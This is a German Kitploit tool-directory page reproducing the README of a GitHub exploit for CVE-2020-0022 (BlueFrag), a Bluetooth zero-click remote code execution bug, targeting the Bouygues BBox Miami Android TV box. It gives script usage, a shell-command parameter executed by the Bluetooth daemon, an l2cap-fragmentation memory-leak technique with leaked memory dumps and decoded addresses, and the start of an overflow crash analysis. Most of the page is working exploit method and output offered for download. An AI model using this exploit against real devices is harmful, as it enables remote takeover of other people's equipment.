Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2020-0022 — CVE-2020-0022 Schwachstellenausnutzung auf Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9) | Kitploit
Tools/GitHubGitHub/polo35/cve-2020-0022
Android-SicherheitBluetooth-SicherheitSpeicherforensikExploitationShellcodeRemote-Access-ToolPayload-EntwicklungBinary-Exploitation
GitHubpolo35/cve-2020-0022

CVE-2020-0022

CVE-2020-0022 Schwachstellenausnutzung auf Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9)

Repository anzeigen
371365vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

########################################################################################

CVE-2020-0022 Schwachstellenausnutzung auf Bouygues BBox Miami Android TV 8.0 - ARM32 Cortex A9 Von Polo35 - 2020/08/24

########################################################################################

"Usage: python polo_exploit.py target_bt_mac [target_adb_ip, shell_command, disable_reboot, verbose]"

########################################################################################

Basiert auf Skripten von Jan Ruge CVE-2020-0022 eine Bluetooth Zero-Click RCE für Android 8.0-9.0 – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/

########################################################################################

EINLEITUNG & TIPPS

########################################################################################

Das Skript verwendet das Python-Bluetooth-Modul, um den ACL-Verbindungs-Handle zu erhalten. Daher müssen Sie die Bluetooth-Bibliotheken und pybluez installieren (Version 0.22 für Python2 und die letzte Version für Python3).

sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez

Sie können dem Skript einen Shell-Befehl als Parameter übergeben, der vom Bluetooth-Daemon mit der system-Funktion ausgeführt wird. Für den Shell-Befehl stehen nur 104 Zeichen zur Verfügung, da die ROP-Kette die ersten 20 Bytes der zweiten Nutzlast belegt.

Beispiel: shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"

Das Skript kann adb verwenden, um die Verbindung zu prüfen, logcat zu überwachen und das Ziel bei Bedarf neu zu starten. Dazu müssen Sie die Ziel-IP als Parameter übergeben. Stellen Sie sicher, dass Sie mit adb connect eine Verbindung zum Ziel herstellen und eine Shell öffnen, um die Verbindung zu überprüfen, bevor Sie das Skript verwenden.

Die besten Ergebnisse erzielt man, wenn man das Ziel per Bluetooth mit einem Smartphone verbindet, wenn das Skript dies sagt ;) Es kann mehr als 30 Versuche dauern, den Exploit auszulösen, aber manchmal funktioniert es beim ersten Versuch.

########################################################################################

SPEICHERLEAK MIT ARM32

########################################################################################

Die Bouygues BBox Miami basiert auf einem ARM 32-Bit Cortex A9-Prozessor. Der Unterschied zu ARM64 besteht darin, dass die libc memcpy-Funktion keinen Unterlauf erzeugt, sodass es unmöglich ist, die gleichen Leaks wie Jan Ruge zu erhalten. Die Schwachstelle ist jedoch vorhanden und auf andere Weise ausnutzbar.

Durch das Senden von l2cap-Paketen mit 4-Byte-Fragmentierung können wir in reassemble_and_dispatch eine memcpy der Länge 0 auslösen. Dadurch können wir am Ende des Echos 4 Bytes nicht initialisierter Daten erhalten.

Durch Erhöhen der ersten Paketlänge (im Folgenden mem_offset genannt) können wir im nicht initialisierten Speicher „umhergehen“. Das Erhalten von 32 Echos mit demselben mem_offset liefert 2 bis 8 ausnutzbare Echos. Echos wiederholen sich, daher ist es nicht nötig, mehr als 32 Echos mit demselben mem_offset zu erhalten. Diese Methode füllt den Speicher auch mit den Paketen, sodass es einfach ist, Muster zu erkennen und Offsets in den Leaks zu finden.

Der mem_offset ist die Länge des l2cap-Pakets in Zeichen. Beispiel: mem_offset 184 = l2cap-Paket mit 184 Zeichen = l2cap-Paket mit 368 Bytes.

Beispiel für das „Umhergehen“ im Speicher und nicht initialisierte Daten mit Wiederholungen:

176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................

Wir können bei mem_offset 180 und 184 einige Speicheradressen im Little-Endian-Format sehen.

a4ce80a3 ergibt Adresse 0xa380cea4 24d280a3 ergibt Adresse 0xa380d224 a4d580a3 ergibt Adresse 0xa380d5a4 9cce80a3 ergibt Adresse 0xa380ce9c 1cd280a3 ergibt Adresse 0xa380d21c 9cd580a3 ergibt Adresse 0xa380d59c

Es gibt mindestens 4 oder 5 mem_offset, bei denen es möglich ist, nach fast jedem Neustart echte Speicheradressen zu finden. Wie wir sie verwenden können, wird später gezeigt.

########################################################################################

ANALYSE DES ERSTEN ABSTURZES

########################################################################################

Durch das Senden von l2cap-Paketen mit 2-Byte-Fragmentierung können wir in reassemble_and_dispatch eine memcpy der Länge -2 auslösen. Dadurch können wir außerhalb des partiellen Pakets mit 30 Bytes kontrollierter Daten aus dem zweiten Paket überlaufen lassen. Aufgrund der 30 kopierten Bytes ist es nicht erforderlich, Pakete größer als 32 Bytes mit den letzten 4 Bytes null zu senden.

Diese Überlaufmethode führt manchmal zum Absturz des Bluetooth-Daemons mit kontrolliertem R0-Register in _Z11list_appendP6list_tPv+65:

Tool herunterladen